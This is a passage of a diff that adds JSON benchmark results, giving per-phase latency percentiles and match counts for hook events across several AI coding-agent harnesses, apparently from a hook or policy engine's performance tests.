"opencode|TaskCompleted": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.46, + 65.21, + 67.37 + ], + "configLoad": [ + 4.16, + 7.23, + 10.93 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 1.59, + 1.91, + 1.93 + ], + "e2e": [ + 67.57, + 72.07, + 73.3 + ] + }, + "e2eMean": 67.62, + "e2eStddev": 2.47, + "e2eMin": 61.85, + "e2eMax": 73.3 + }, + "opencode|Stop": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.07, + 66.49, + 67.51 + ], + "configLoad": [ + 4.06, + 4.36, + 4.75 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 1.56, + 1.79, + 1.95 + ], + "e2e": [ + 66.98, + 72.69, + 73.57 + ] + }, + "e2eMean": 67.63, + "e2eStddev": 2.61, + "e2eMin": 62.93, + "e2eMax": 73.57 + }, + "opencode|StopFailure": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.03, + 64.33, + 67.49 + ], + "configLoad": [ + 3.97, + 5.43, + 7.34 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.59, + 1.78, + 1.89 + ], + "e2e": [ + 66.02, + 70.37, + 73.88 + ] + }, + "e2eMean": 66.36, + "e2eStddev": 2.32, + "e2eMin": 61.74, + "e2eMax": 73.88 + }, + "opencode|TeammateIdle": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.32, + 66.62, + 69.82 + ], + "configLoad": [ + 3.96, + 5.81, + 7.74 + ], + "evaluate": [ + 0.14, + 0.15, + 0.23 + ], + "encode": [ + 0.25, + 0.27, + 0.34 + ], + "other": [ + 1.6, + 1.79, + 1.91 + ], + "e2e": [ + 67.33, + 71.76, + 75.77 + ] + }, + "e2eMean": 67.46, + "e2eStddev": 3.26, + "e2eMin": 61.3, + "e2eMax": 75.77 + }, + "opencode|InstructionsLoaded": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.92, + 67.01, + 69.96 + ], + "configLoad": [ + 3.92, + 4.43, + 7.27 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.53, + 1.77, + 1.8 + ], + "e2e": [ + 67.88, + 73.27, + 74.99 + ] + }, + "e2eMean": 67.8, + "e2eStddev": 2.78, + "e2eMin": 62.86, + "e2eMax": 74.99 + }, + "opencode|ConfigChange": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.55, + 66.5, + 71.46 + ], + "configLoad": [ + 4.03, + 7.73, + 38.37 + ], + "evaluate": [ + 0.14, + 0.16, + 0.19 + ], + "encode": [ + 0.25, + 0.31, + 0.41 + ], + "other": [ + 1.61, + 1.97, + 3.66 + ], + "e2e": [ + 67.24, + 76.12, + 112.95 + ] + }, + "e2eMean": 68.78, + "e2eStddev": 9.01, + "e2eMin": 62.86, + "e2eMax": 112.95 + }, + "opencode|CwdChanged": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.02, + 67.26, + 69.01 + ], + "configLoad": [ + 4.08, + 7.16, + 38.77 + ], + "evaluate": [ + 0.14, + 0.17, + 0.18 + ], + "encode": [ + 0.25, + 0.28, + 0.35 + ], + "other": [ + 1.6, + 1.94, + 3.38 + ], + "e2e": [ + 67.46, + 73.49, + 101.99 + ] + }, + "e2eMean": 68.44, + "e2eStddev": 5.61, + "e2eMin": 61.66, + "e2eMax": 101.99 + }, + "opencode|FileChanged": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.35, + 69.64, + 71.92 + ], + "configLoad": [ + 4.02, + 7.11, + 7.93 + ], + "evaluate": [ + 0.15, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.57, + 1.8, + 4 + ], + "e2e": [ + 67.63, + 76.07, + 78.11 + ] + }, + "e2eMean": 68.46, + "e2eStddev": 3.47, + "e2eMin": 62.3, + "e2eMax": 78.11 + }, + "opencode|WorktreeCreate": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.5, + 66.72, + 70.24 + ], + "configLoad": [ + 4.04, + 5.02, + 7.29 + ], + "evaluate": [ + 0.14, + 0.18, + 0.24 + ], + "encode": [ + 0.25, + 0.28, + 0.37 + ], + "other": [ + 1.55, + 1.79, + 1.81 + ], + "e2e": [ + 68.02, + 72.97, + 75.92 + ] + }, + "e2eMean": 67.92, + "e2eStddev": 2.7, + "e2eMin": 62.01, + "e2eMax": 75.92 + }, + "opencode|WorktreeRemove": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.18, + 66.6, + 70.19 + ], + "configLoad": [ + 3.99, + 4.71, + 7.65 + ], + "evaluate": [ + 0.15, + 0.17, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.3 + ], + "other": [ + 1.57, + 1.79, + 2.72 + ], + "e2e": [ + 66.88, + 73.03, + 75.88 + ] + }, + "e2eMean": 67.63, + "e2eStddev": 2.76, + "e2eMin": 62.46, + "e2eMax": 75.88 + }, + "opencode|PreCompact": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.72, + 68.35, + 70.5 + ], + "configLoad": [ + 4.01, + 4.71, + 38.89 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 1.55, + 1.83, + 3.81 + ], + "e2e": [ + 67.76, + 74.5, + 105.1 + ] + }, + "e2eMean": 68.51, + "e2eStddev": 6.1, + "e2eMin": 62.27, + "e2eMax": 105.1 + }, + "opencode|PostCompact": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.45, + 66.04, + 70.23 + ], + "configLoad": [ + 3.98, + 7.16, + 38.9 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.29, + 0.3 + ], + "other": [ + 1.54, + 1.77, + 3.59 + ], + "e2e": [ + 67.69, + 71.93, + 105.55 + ] + }, + "e2eMean": 68.49, + "e2eStddev": 5.86, + "e2eMin": 62.77, + "e2eMax": 105.55 + }, + "opencode|Elicitation": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.99, + 64.73, + 67.71 + ], + "configLoad": [ + 4.03, + 7.42, + 7.94 + ], + "evaluate": [ + 0.14, + 0.16, + 0.18 + ], + "encode": [ + 0.25, + 0.28, + 0.29 + ], + "other": [ + 1.59, + 1.79, + 1.89 + ], + "e2e": [ + 67.83, + 71.08, + 72.78 + ] + }, + "e2eMean": 67.81, + "e2eStddev": 2.31, + "e2eMin": 62.05, + "e2eMax": 72.78 + }, + "opencode|ElicitationResult": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.29, + 65.36, + 65.95 + ], + "configLoad": [ + 4.1, + 7.38, + 7.79 + ], + "evaluate": [ + 0.15, + 0.24, + 0.3 + ], + "encode": [ + 0.25, + 0.34, + 0.44 + ], + "other": [ + 1.56, + 1.86, + 2 + ], + "e2e": [ + 67.64, + 71.99, + 72.75 + ] + }, + "e2eMean": 68.13, + "e2eStddev": 2.42, + "e2eMin": 62.09, + "e2eMax": 72.75 + }, + "opencode|UserPromptExpansion": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.26, + 65.31, + 67.1 + ], + "configLoad": [ + 4.01, + 7.16, + 7.53 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 1.59, + 1.73, + 1.75 + ], + "e2e": [ + 67.53, + 72.38, + 72.75 + ] + }, + "e2eMean": 67.4, + "e2eStddev": 2.88, + "e2eMin": 61.48, + "e2eMax": 72.75 + }, + "opencode|PostToolBatch": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.31, + 71.54, + 88.76 + ], + "configLoad": [ + 4.13, + 7.11, + 38 + ], + "evaluate": [ + 0.14, + 0.17, + 0.21 + ], + "encode": [ + 0.25, + 0.28, + 0.29 + ], + "other": [ + 1.62, + 1.9, + 3.43 + ], + "e2e": [ + 67.9, + 82.24, + 102.74 + ] + }, + "e2eMean": 69.41, + "e2eStddev": 7.29, + "e2eMin": 62.8, + "e2eMax": 102.74 + }, + "opencode|Setup": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.75, + 66.23, + 68.56 + ], + "configLoad": [ + 3.99, + 7, + 38.12 + ], + "evaluate": [ + 0.14, + 0.15, + 0.22 + ], + "encode": [ + 0.25, + 0.27, + 0.45 + ], + "other": [ + 1.62, + 1.88, + 3.6 + ], + "e2e": [ + 66.99, + 73.44, + 105.7 + ] + }, + "e2eMean": 68.11, + "e2eStddev": 6.03, + "e2eMin": 62.3, + "e2eMax": 105.7 + }, + "pi|SessionStart": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.36, + 65.48, + 67.75 + ], + "configLoad": [ + 4.02, + 6.91, + 7.15 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.58, + 1.89, + 1.99 + ], + "e2e": [ + 67.82, + 71.56, + 74.24 + ] + }, + "e2eMean": 67.69, + "e2eStddev": 2.45, + "e2eMin": 62.99, + "e2eMax": 74.24 + }, + "pi|SessionEnd": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.04, + 65.91, + 66.22 + ], + "configLoad": [ + 4.08, + 7.49, + 7.84 + ], + "evaluate": [ + 0.14, + 0.15, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 1.6, + 1.8, + 1.89 + ], + "e2e": [ + 67.44, + 72.19, + 72.75 + ] + }, + "e2eMean": 67.22, + "e2eStddev": 2.39, + "e2eMin": 62.22, + "e2eMax": 72.75 + }, + "pi|UserPromptSubmit": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.99, + 66.2, + 70.34 + ], + "configLoad": [ + 4, + 7.17, + 7.5 + ], + "evaluate": [ + 0.14, + 0.17, + 0.25 + ], + "encode": [ + 0.25, + 0.28, + 0.4 + ], + "other": [ + 1.62, + 1.87, + 1.92 + ], + "e2e": [ + 67.25, + 72.66, + 76.13 + ] + }, + "e2eMean": 67.44, + "e2eStddev": 2.95, + "e2eMin": 61.7, + "e2eMax": 76.13 + }, + "pi|PreToolUse": { + "n": 50, + "matched": 7, + "customHooks": 1, + "phases": { + "spawn": [ + 61.33, + 67.95, + 90.1 + ], + "configLoad": [ + 4.06, + 7.55, + 38.33 + ], + "evaluate": [ + 1.13, + 1.22, + 1.81 + ], + "encode": [ + 0.26, + 0.35, + 0.41 + ], + "other": [ + 1.58, + 3.91, + 4.47 + ], + "e2e": [ + 68.44, + 75.24, + 102.54 + ] + }, + "e2eMean": 70.13, + "e2eStddev": 7.1, + "e2eMin": 62.95, + "e2eMax": 102.54 + }, + "pi|PermissionRequest": { + "n": 50, + "matched": 1, + "customHooks": 1, + "phases": { + "spawn": [ + 61.08, + 65.63, + 71.41 + ], + "configLoad": [ + 4.02, + 7.28, + 8 + ], + "evaluate": [ + 0.29, + 0.31, + 0.34 + ], + "encode": [ + 0.25, + 0.28, + 0.28 + ], + "other": [ + 1.59, + 1.85, + 2.02 + ], + "e2e": [ + 67.61, + 72.61, + 77.48 + ] + }, + "e2eMean": 67.69, + "e2eStddev": 3.15, + "e2eMin": 62.3, + "e2eMax": 77.48 + }, + "pi|PermissionDenied": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.55, + 66.29, + 72.1 + ], + "configLoad": [ + 4.1, + 7.42, + 8.02 + ], + "evaluate": [ + 0.14, + 0.17, + 0.26 + ], + "encode": [ + 0.25, + 0.28, + 0.32 + ], + "other": [ + 1.61, + 1.8, + 1.85 + ], + "e2e": [ + 67.64, + 72.32, + 78.3 + ] + }, + "e2eMean": 67.72, + "e2eStddev": 3.25, + "e2eMin": 62.62, + "e2eMax": 78.3 + }, + "pi|PostToolUse": { + "n": 50, + "matched": 6, + "customHooks": 1, + "phases": { + "spawn": [ + 61.49, + 66.07, + 69.58 + ], + "configLoad": [ + 4.05, + 7.08, + 7.41 + ], + "evaluate": [ + 0.65, + 0.87, + 1.26 + ], + "encode": [ + 0.26, + 0.29, + 0.33 + ], + "other": [ + 1.57, + 1.88, + 4.28 + ], + "e2e": [ + 68.66, + 72.93, + 75.85 + ] + }, + "e2eMean": 68.43, + "e2eStddev": 2.93, + "e2eMin": 61.88, + "e2eMax": 75.85 + }, + "pi|PostToolUseFailure": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.89, + 68, + 68.57 + ], + "configLoad": [ + 3.93, + 7.33, + 8.16 + ], + "evaluate": [ + 0.14, + 0.16, + 0.18 + ], + "encode": [ + 0.25, + 0.28, + 0.29 + ], + "other": [ + 1.59, + 1.82, + 3.31 + ], + "e2e": [ + 67.27, + 73.7, + 74.47 + ] + }, + "e2eMean": 67.71, + "e2eStddev": 2.94, + "e2eMin": 62.14, + "e2eMax": 74.47 + }, + "pi|Notification": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.73, + 65.98, + 69.41 + ], + "configLoad": [ + 4, + 7.4, + 7.93 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.54, + 1.81, + 1.84 + ], + "e2e": [ + 67.37, + 72.18, + 75.37 + ] + }, + "e2eMean": 67.32, + "e2eStddev": 2.94, + "e2eMin": 61.08, + "e2eMax": 75.37 + }, + "pi|SubagentStart": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.48, + 66.06, + 67.98 + ], + "configLoad": [ + 4.01, + 7.32, + 7.93 + ], + "evaluate": [ + 0.14, + 0.17, + 0.19 + ], + "encode": [ + 0.25, + 0.28, + 0.34 + ], + "other": [ + 1.59, + 1.82, + 4.05 + ], + "e2e": [ + 67.76, + 73.19, + 73.87 + ] + }, + "e2eMean": 67.9, + "e2eStddev": 2.81, + "e2eMin": 62.74, + "e2eMax": 73.87 + }, + "pi|SubagentStop": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 62.01, + 68.27, + 69.08 + ], + "configLoad": [ + 3.93, + 6.99, + 8.08 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.28, + 0.28 + ], + "other": [ + 1.57, + 1.74, + 1.8 + ], + "e2e": [ + 68.33, + 74.48, + 74.74 + ] + }, + "e2eMean": 68.38, + "e2eStddev": 3.09, + "e2eMin": 62.19, + "e2eMax": 74.74 + }, + "pi|TaskCreated": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.61, + 65.74, + 69.87 + ], + "configLoad": [ + 3.92, + 7.17, + 7.86 + ], + "evaluate": [ + 0.14, + 0.24, + 0.31 + ], + "encode": [ + 0.26, + 0.35, + 0.41 + ], + "other": [ + 1.53, + 1.75, + 1.81 + ], + "e2e": [ + 67.42, + 71.9, + 75.38 + ] + }, + "e2eMean": 67.77, + "e2eStddev": 2.52, + "e2eMin": 61.29, + "e2eMax": 75.38 + }, + "pi|TaskCompleted": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.73, + 65.17, + 77.82 + ], + "configLoad": [ + 3.95, + 7.41, + 7.89 + ], + "evaluate": [ + 0.14, + 0.17, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 1.58, + 1.75, + 1.82 + ], + "e2e": [ + 66.94, + 71.09, + 83.42 + ] + }, + "e2eMean": 67.19, + "e2eStddev": 3.27, + "e2eMin": 61.67, + "e2eMax": 83.42 + }, + "pi|Stop": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.6, + 65.92, + 66.88 + ], + "configLoad": [ + 4.01, + 7.19, + 7.6 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.33 + ], + "other": [ + 1.57, + 1.79, + 1.88 + ], + "e2e": [ + 67.29, + 71.72, + 74.44 + ] + }, + "e2eMean": 66.9, + "e2eStddev": 2.99, + "e2eMin": 61.54, + "e2eMax": 74.44 + }, + "pi|StopFailure": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.02, + 66.7, + 67.5 + ], + "configLoad": [ + 3.81, + 4.55, + 7.35 + ], + "evaluate": [ + 0.14, + 0.16, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.52, + 1.76, + 1.84 + ], + "e2e": [ + 66.97, + 72.05, + 73.41 + ] + }, + "e2eMean": 66.99, + "e2eStddev": 2.65, + "e2eMin": 61.3, + "e2eMax": 73.41 + }, + "pi|TeammateIdle": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.34, + 69.26, + 71.43 + ], + "configLoad": [ + 4.04, + 7.23, + 7.52 + ], + "evaluate": [ + 0.14, + 0.18, + 0.24 + ], + "encode": [ + 0.25, + 0.28, + 0.42 + ], + "other": [ + 1.6, + 1.87, + 2 + ], + "e2e": [ + 67.79, + 76.52, + 77.73 + ] + }, + "e2eMean": 68.14, + "e2eStddev": 3.8, + "e2eMin": 61.64, + "e2eMax": 77.73 + }, + "pi|InstructionsLoaded": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.73, + 67.75, + 71.75 + ], + "configLoad": [ + 4.04, + 7.53, + 41.45 + ], + "evaluate": [ + 0.14, + 0.23, + 0.25 + ], + "encode": [ + 0.25, + 0.4, + 0.45 + ], + "other": [ + 1.58, + 1.89, + 3.62 + ], + "e2e": [ + 67.59, + 74.58, + 102.31 + ] + }, + "e2eMean": 68.97, + "e2eStddev": 5.92, + "e2eMin": 63.05, + "e2eMax": 102.31 + }, + "pi|ConfigChange": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.91, + 66.62, + 66.99 + ], + "configLoad": [ + 4.06, + 7.05, + 7.79 + ], + "evaluate": [ + 0.15, + 0.18, + 0.26 + ], + "encode": [ + 0.26, + 0.29, + 0.29 + ], + "other": [ + 1.55, + 1.81, + 1.83 + ], + "e2e": [ + 68.05, + 72.37, + 74.76 + ] + }, + "e2eMean": 68.02, + "e2eStddev": 2.8, + "e2eMin": 62.41, + "e2eMax": 74.76 + }, + "pi|CwdChanged": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.94, + 68.74, + 70.81 + ], + "configLoad": [ + 4.06, + 7.22, + 38.41 + ], + "evaluate": [ + 0.14, + 0.17, + 0.26 + ], + "encode": [ + 0.25, + 0.29, + 0.4 + ], + "other": [ + 1.58, + 1.81, + 3.87 + ], + "e2e": [ + 67.06, + 75.07, + 105.17 + ] + }, + "e2eMean": 68.41, + "e2eStddev": 6.28, + "e2eMin": 61.44, + "e2eMax": 105.17 + }, + "pi|FileChanged": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.25, + 66.11, + 74.34 + ], + "configLoad": [ + 4, + 7.36, + 7.48 + ], + "evaluate": [ + 0.14, + 0.17, + 0.24 + ], + "encode": [ + 0.25, + 0.32, + 0.51 + ], + "other": [ + 1.59, + 1.82, + 2.02 + ], + "e2e": [ + 67.9, + 72.22, + 80.32 + ] + }, + "e2eMean": 68.07, + "e2eStddev": 3, + "e2eMin": 62.18, + "e2eMax": 80.32 + }, + "pi|WorktreeCreate": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.29, + 70.57, + 73.23 + ], + "configLoad": [ + 3.98, + 5.5, + 7.67 + ], + "evaluate": [ + 0.14, + 0.16, + 0.24 + ], + "encode": [ + 0.25, + 0.3, + 0.44 + ], + "other": [ + 1.57, + 1.82, + 1.83 + ], + "e2e": [ + 67.59, + 76.03, + 78.85 + ] + }, + "e2eMean": 68.12, + "e2eStddev": 2.98, + "e2eMin": 63.62, + "e2eMax": 78.85 + }, + "pi|WorktreeRemove": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.99, + 64.29, + 69.39 + ], + "configLoad": [ + 4.05, + 7.35, + 7.67 + ], + "evaluate": [ + 0.14, + 0.17, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.35 + ], + "other": [ + 1.6, + 1.82, + 1.96 + ], + "e2e": [ + 67.58, + 70.66, + 75.48 + ] + }, + "e2eMean": 67.48, + "e2eStddev": 2.63, + "e2eMin": 61.1, + "e2eMax": 75.48 + }, + "pi|PreCompact": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.8, + 65.91, + 66.82 + ], + "configLoad": [ + 4.04, + 4.57, + 7.33 + ], + "evaluate": [ + 0.14, + 0.16, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.38 + ], + "other": [ + 1.6, + 1.79, + 3.45 + ], + "e2e": [ + 67.8, + 72.7, + 73.65 + ] + }, + "e2eMean": 67.67, + "e2eStddev": 2.81, + "e2eMin": 62.63, + "e2eMax": 73.65 + }, + "pi|PostCompact": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.55, + 67.22, + 68.87 + ], + "configLoad": [ + 4.02, + 7.25, + 7.91 + ], + "evaluate": [ + 0.14, + 0.16, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.3 + ], + "other": [ + 1.55, + 1.77, + 1.84 + ], + "e2e": [ + 67.16, + 73.58, + 75.23 + ] + }, + "e2eMean": 67.53, + "e2eStddev": 2.97, + "e2eMin": 61.09, + "e2eMax": 75.23 + }, + "pi|Elicitation": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.36, + 66.89, + 69.97 + ], + "configLoad": [ + 4.1, + 7.38, + 7.71 + ], + "evaluate": [ + 0.14, + 0.16, + 0.19 + ], + "encode": [ + 0.25, + 0.28, + 0.28 + ], + "other": [ + 1.59, + 1.87, + 3.02 + ], + "e2e": [ + 67.77, + 72.87, + 75.88 + ] + }, + "e2eMean": 67.96, + "e2eStddev": 2.91, + "e2eMin": 61.78, + "e2eMax": 75.88 + }, + "pi|ElicitationResult": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.93, + 64.71, + 65.26 + ], + "configLoad": [ + 4.08, + 7.24, + 7.86 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.28, + 0.32 + ], + "other": [ + 1.59, + 1.78, + 1.85 + ], + "e2e": [ + 67.38, + 71.12, + 71.83 + ] + }, + "e2eMean": 67.26, + "e2eStddev": 2.42, + "e2eMin": 61.73, + "e2eMax": 71.83 + }, + "pi|UserPromptExpansion": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.45, + 64.74, + 70.04 + ], + "configLoad": [ + 4.02, + 7.41, + 7.93 + ], + "evaluate": [ + 0.14, + 0.21, + 0.26 + ], + "encode": [ + 0.26, + 0.31, + 0.42 + ], + "other": [ + 1.56, + 1.74, + 1.79 + ], + "e2e": [ + 67.69, + 72.88, + 76.11 + ] + }, + "e2eMean": 67.94, + "e2eStddev": 2.88, + "e2eMin": 62.69, + "e2eMax": 76.11 + }, + "pi|PostToolBatch": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.89, + 64.97, + 65.65 + ], + "configLoad": [ + 3.99, + 4.46, + 5.35 + ], + "evaluate": [ + 0.14, + 0.17, + 0.18 + ], + "encode": [ + 0.25, + 0.28, + 0.43 + ], + "other": [ + 1.56, + 1.8, + 1.92 + ], + "e2e": [ + 66.97, + 71.2, + 71.78 + ] + }, + "e2eMean": 67.05, + "e2eStddev": 2.4, + "e2eMin": 62.71, + "e2eMax": 71.78 + }, + "pi|Setup": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.47, + 67.93, + 72.66 + ], + "configLoad": [ + 4.06, + 7.42, + 7.9 + ], + "evaluate": [ + 0.14, + 0.16, + 0.18 + ], + "encode": [ + 0.25, + 0.28, + 0.3 + ], + "other": [ + 1.56, + 1.8, + 1.8 + ], + "e2e": [ + 68.21, + 75.01, + 78.94 + ] + }, + "e2eMean": 68.29, + "e2eStddev": 3.52, + "e2eMin": 62.43, + "e2eMax": 78.94 + }, + "hermes|SessionStart": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.46, + 66.24, + 72.28 + ], + "configLoad": [ + 3.93, + 7.19, + 7.53 + ], + "evaluate": [ + 0.14, + 0.17, + 0.23 + ], + "encode": [ + 0.26, + 0.29, + 0.38 + ], + "other": [ + 1.52, + 1.77, + 4.08 + ], + "e2e": [ + 66.77, + 72.96, + 77.45 + ] + }, + "e2eMean": 67.33, + "e2eStddev": 3.19, + "e2eMin": 62.25, + "e2eMax": 77.45 + }, + "hermes|SessionEnd": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 59.74, + 64.59, + 66.79 + ], + "configLoad": [ + 4.11, + 7.65, + 11.02 + ], + "evaluate": [ + 0.15, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 1.58, + 1.81, + 1.95 + ], + "e2e": [ + 66.04, + 70.46, + 73.19 + ] + }, + "e2eMean": 66.58, + "e2eStddev": 2.49, + "e2eMin": 62.64, + "e2eMax": 73.19 + }, + "hermes|UserPromptSubmit": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.94, + 64.95, + 66.97 + ], + "configLoad": [ + 4.04, + 7.53, + 9.07 + ], + "evaluate": [ + 0.14, + 0.17, + 0.23 + ], + "encode": [ + 0.26, + 0.28, + 0.42 + ], + "other": [ + 1.57, + 1.83, + 3.69 + ], + "e2e": [ + 67.3, + 72.93, + 75.64 + ] + }, + "e2eMean": 67.43, + "e2eStddev": 2.81, + "e2eMin": 61.81, + "e2eMax": 75.64 + }, + "hermes|PreToolUse": { + "n": 50, + "matched": 7, + "customHooks": 1, + "phases": { + "spawn": [ + 61.06, + 67.77, + 68.22 + ], + "configLoad": [ + 4.04, + 7.47, + 10.96 + ], + "evaluate": [ + 1.13, + 1.19, + 1.85 + ], + "encode": [ + 0.26, + 0.3, + 0.41 + ], + "other": [ + 1.63, + 1.86, + 3.87 + ], + "e2e": [ + 68.49, + 74.59, + 75.24 + ] + }, + "e2eMean": 68.64, + "e2eStddev": 3.3, + "e2eMin": 62.6, + "e2eMax": 75.24 + }, + "hermes|PermissionRequest": { + "n": 50, + "matched": 1, + "customHooks": 1, + "phases": { + "spawn": [ + 61.68, + 68.12, + 75.85 + ], + "configLoad": [ + 4.08, + 4.79, + 7.46 + ], + "evaluate": [ + 0.29, + 0.3, + 0.31 + ], + "encode": [ + 0.26, + 0.28, + 0.29 + ], + "other": [ + 1.58, + 1.82, + 1.96 + ], + "e2e": [ + 67.9, + 74.38, + 81.45 + ] + }, + "e2eMean": 68.2, + "e2eStddev": 3.49, + "e2eMin": 62.18, + "e2eMax": 81.45 + }, + "hermes|PermissionDenied": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.7, + 64.78, + 70.4 + ], + "configLoad": [ + 4.03, + 4.85, + 7.72 + ], + "evaluate": [ + 0.15, + 0.16, + 0.25 + ], + "encode": [ + 0.26, + 0.3, + 0.39 + ], + "other": [ + 1.55, + 1.76, + 1.8 + ], + "e2e": [ + 67.82, + 70.59, + 76.72 + ] + }, + "e2eMean": 67.81, + "e2eStddev": 2.26, + "e2eMin": 63.66, + "e2eMax": 76.72 + }, + "hermes|PostToolUse": { + "n": 50, + "matched": 6, + "customHooks": 1, + "phases": { + "spawn": [ + 61.24, + 67.81, + 68.45 + ], + "configLoad": [ + 4.04, + 7.12, + 7.17 + ], + "evaluate": [ + 0.65, + 0.72, + 0.74 + ], + "encode": [ + 0.26, + 0.29, + 0.3 + ], + "other": [ + 1.59, + 1.76, + 1.82 + ], + "e2e": [ + 67.96, + 74.3, + 77.49 + ] + }, + "e2eMean": 68.76, + "e2eStddev": 3.07, + "e2eMin": 63.23, + "e2eMax": 77.49 + }, + "hermes|PostToolUseFailure": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.26, + 65.91, + 66.56 + ], + "configLoad": [ + 3.95, + 4.67, + 6.97 + ], + "evaluate": [ + 0.14, + 0.17, + 0.26 + ], + "encode": [ + 0.25, + 0.31, + 0.43 + ], + "other": [ + 1.58, + 1.78, + 1.94 + ], + "e2e": [ + 66.41, + 71.91, + 72.48 + ] + }, + "e2eMean": 66.88, + "e2eStddev": 2.75, + "e2eMin": 62.63, + "e2eMax": 72.48 + }, + "hermes|Notification": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.71, + 64.15, + 68.04 + ], + 